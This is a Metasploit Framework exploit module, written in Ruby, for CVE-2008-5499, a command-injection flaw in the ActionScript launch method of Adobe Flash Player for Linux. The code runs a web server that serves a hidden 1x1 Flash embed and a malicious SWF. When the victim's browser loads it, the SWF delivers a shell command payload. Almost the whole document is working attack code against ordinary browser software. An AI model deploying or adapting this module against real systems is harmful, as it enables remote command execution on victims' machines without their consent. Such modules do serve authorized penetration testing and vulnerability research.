Adobe Flash Player ActionScript Launch Command Execution Vulnerability

  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Adobe Flash Player for Linux, version 10.0.12.36 and 9.0.151.0 and prior. An input validation vulnerability allows command execution when the browser loads a SWF file which contains shell metacharacters in the arguments to the ActionScript launch method. The victim must have Adobe AIR installed for the exploit to work. This module was tested against version 10.0.12.36 (10r12_36). }, 'License' => MSF_LICENSE, 'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version ], 'References' => [ ['CVE', '2008-5499'], ['OSVDB', '50796'], ['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html'], ['URL', 'http://www.securityfocus.com/bid/32896/exploit'] ], 'DefaultOptions' => { 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Platform' => 'unix', # so unix cmd exec payloads are ok 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', {}], ], 'DisclosureDate' => 'Dec 17 2008', 'DefaultTarget' => 0)) end def exploit path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5499.swf" ) fd = File.open( path, "rb" ) @swf = fd.read(fd.stat.size) fd.close super end def on_request_uri(cli, request) msg = "#{cli.peerhost.ljust(16)} #{self.shortname}" trigger = @swf trigger_file = rand_text_alpha(rand(6)+3) + ".swf" obj_id = rand_text_alpha(rand(6)+3) if request.uri.match(/\.swf/i) print_status("#{msg} Sending Exploit SWF") send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' }) return end if request.uri.match(/\.txt/i) send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' }) return end html = <<-EOS <html> <head> </head> <body> <center> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{get_resource}#{trigger_file}" /> <embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"> </embed> </object> </center> </body> </html> EOS print_status("#{msg} Sending HTML...") send_response(cli, html, { 'Content-Type' => 'text/html' }) end end

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